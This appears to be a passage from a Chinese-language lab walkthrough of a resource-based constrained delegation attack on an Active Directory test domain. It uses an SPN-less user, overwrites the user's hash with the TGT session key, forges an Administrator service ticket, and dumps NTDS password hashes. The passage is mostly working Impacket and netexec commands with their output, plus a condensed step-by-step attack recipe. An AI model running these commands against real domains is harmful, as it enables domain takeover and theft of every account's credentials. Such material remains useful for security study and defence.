└─$ impacket-changepasswd -newhashes :fce9e6a3381a5301dd00d59aaae12af6 $domain/$user:$pass@DC.novice.com -dc-ip $ip
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Changing the password of novice.com\mrrobot
[*] Connecting to DCE/RPC as novice.com\mrrobot
[*] Password was changed successfully.
[!] User will need to change their password on next logging because we are using hashes.

注意这一步是自毁式攻击，如果攻击失败，无法获得高权限的情况下，此用户会失效（因为我们改了它的hash，应用于hash认证的手段还是正常的，但是噪音会比较大）

当修改完毕后，我们会发现攻击成功了

┌──(wackymaker㉿kali)-[~/test]
└─$ KRB5CCNAME=mrrobot.ccache impacket-getST -u2u -impersonate Administrator -spn cifs/DC.novice.com $domain/$user -k -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Impersonating Administrator
[*] Requesting S4U2self+U2U
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_DC.novice.com@NOVICE.COM.ccache

票据也是可以利用的

┌──(wackymaker㉿kali)-[~/test]
└─$ KRB5CCNAME=Administrator@cifs_DC.novice.com@NOVICE.COM.ccache netexec smb $ip --use-kcache --ntds --user Administrator
SMB         192.168.174.145 445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:novice.com) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         192.168.174.145 445    DC               [+] novice.com\Administrator from ccache (Pwn3d!)
SMB         192.168.174.145 445    DC               [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         192.168.174.145 445    DC               Administrator:500:aad3b435b51404eeaad3b435b51404ee:bbabdc192282668fe5190ab0c5150b34:::

这就是全部的流程了

攻击导致的结果以及需要的条件

需要域启用rc4
需要用户的密码或者hash，只有票据的情况下无法攻击
使用用户会牺牲，之后可能很难使用密码登录。
噪音比较大，容易被安全审查发现

快速攻击流程

首先确定此用户确实对目标有rbcd（allowtoacl）权限，没有的话利用权限写入一个

impacket-rbcd -action write -delegate-to "target$" -delegate-from "$user" $domain/$user -hashes :$ntlm -dc-ip $ip
或者
impacket-rbcd -action write -delegate-to "target$" -delegate-from "$user" $domain/$user:$pass -dc-ip $ip

之后利用hash请求域用户tgt（必须利用hash，要不然后续session_key加密不一定是rc4加密，无法攻击，如果是密码，请先转换为hash

#将密码转换为hash
iconv -f ASCII -t UTF-16LE <(printf "$pass") | openssl dgst -md4
#请求tgt
impacket-getTGT $domain/$user -hashes :$hash -dc-ip $ip
#验证tgt是否是rc4加密session_key
impacket-describeTicket $user.ccache 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key            : c6427e4b47c680c7017571327c141b95
...............
#当看到tgt的session_key是ntlm格式而不是aes长段格式。这一步就成功了

请求完毕后，将此改此用户hash等于session_key

impacket-changepasswd -newhashes :c6427e4b47c680c7017571327c141b95 $domain/$user:$pass@$FQDN -dc-ip $ip

修改成功后，就能正常利用域用户进行rbcd

KRB5CCNAME=$user.ccache impacket-getST -u2u -impersonate Administrator -spn cifs/$FQDN $domain/$user -k -no-pass